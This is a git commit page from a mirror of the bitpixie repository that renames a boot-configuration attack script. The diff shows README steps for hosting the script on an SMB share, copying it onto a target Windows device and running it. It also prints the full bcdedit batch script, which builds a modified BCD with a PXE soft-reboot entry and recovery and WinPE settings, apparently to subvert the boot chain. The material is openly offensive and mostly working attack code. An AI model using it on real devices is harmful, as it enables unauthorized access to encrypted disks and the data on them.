mirror of
https://github.com/martanne/bitpixie
synced 2026-06-08 15:44:32 +00:00
Rename BCD generation script and resulting configuration file
This commit is contained in:
@@ -81,7 +81,7 @@ cd -
|
||||
|
||||
### SMB Server
|
||||
|
||||
Start a SMB server from where the `create-bcd.bat` attack script can be downloaded from and the resulting, device-specific BCD can be uploaded to. Impacket's `smbserver.py` works great for that:
|
||||
Start a SMB server from where the `create-bcd-linux.bat` attack script can be downloaded from and the resulting, device-specific BCD can be uploaded to. Impacket's `smbserver.py` works great for that:
|
||||
|
||||
```
|
||||
cd pxe && ./start-smb.sh
|
||||
@@ -126,17 +126,17 @@ cd %TEMP%
|
||||
|
||||
Copy attack script to temporary directory:
|
||||
```
|
||||
copy S:\create-bcd.bat .
|
||||
copy S:\create-bcd-linux.bat .
|
||||
```
|
||||
|
||||
Execute attacker script to generate a `BCD_modded` file:
|
||||
Execute attacker script to generate a modified BCD file:
|
||||
```
|
||||
.\create-bcd.bat
|
||||
.\create-bcd-linux.bat
|
||||
```
|
||||
|
||||
Transfer the modified boot configuration to the SMB share:
|
||||
```
|
||||
copy BCD_modded S:\BCD
|
||||
copy BCD_linux S:\BCD
|
||||
```
|
||||
|
||||
> [!note]
|
||||
|
||||
+1
-1
@@ -22,7 +22,7 @@ b5632b54120f887ec3d1f1f405ad75c71a2c066ddb34e54efa374c4f7190b2c1 bootmgfw.efi
|
||||
```
|
||||
|
||||
The `start-smb.sh` script starts an impacket based SMB server providing the
|
||||
[`create-bcd.bat`](./smb/create-bcd.bat) script to generate a device specific
|
||||
[`create-bcd-linux.bat`](./smb/create-bcd-linux.bat) script to generate a device specific
|
||||
BCD.
|
||||
|
||||
The `start-pxe.sh` script starts `dnsmasq` with the needed options to serve
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
REM @echo off
|
||||
|
||||
bcdedit /export BCD_modded
|
||||
|
||||
bcdedit /store BCD_modded /create /d "softreboot" /application startup > GUID.txt
|
||||
for /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
|
||||
del GUID.txt
|
||||
|
||||
bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
|
||||
bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
|
||||
bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes
|
||||
|
||||
bcdedit /store BCD_modded /set {default} recoveryenabled yes
|
||||
bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
|
||||
bcdedit /store BCD_modded /set {default} path "\\"
|
||||
bcdedit /store BCD_modded /set {default} winpe yes
|
||||
|
||||
bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast
|
||||
@@ -0,0 +1,18 @@
|
||||
REM @echo off
|
||||
|
||||
bcdedit /export BCD_linux
|
||||
|
||||
bcdedit /store BCD_linux /create /d "softreboot" /application startup > GUID.txt
|
||||
for /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
|
||||
del GUID.txt
|
||||
|
||||
bcdedit /store BCD_linux /set {%REBOOT_GUID%} path "\shimx64.efi"
|
||||
bcdedit /store BCD_linux /set {%REBOOT_GUID%} device boot
|
||||
bcdedit /store BCD_linux /set {%REBOOT_GUID%} pxesoftreboot yes
|
||||
|
||||
bcdedit /store BCD_linux /set {default} recoveryenabled yes
|
||||
bcdedit /store BCD_linux /set {default} recoverysequence {%REBOOT_GUID%}
|
||||
bcdedit /store BCD_linux /set {default} path "\\"
|
||||
bcdedit /store BCD_linux /set {default} winpe yes
|
||||
|
||||
bcdedit /store BCD_linux /displayorder {%REBOOT_GUID%} /addlast
|
||||
Reference in New Issue
Block a user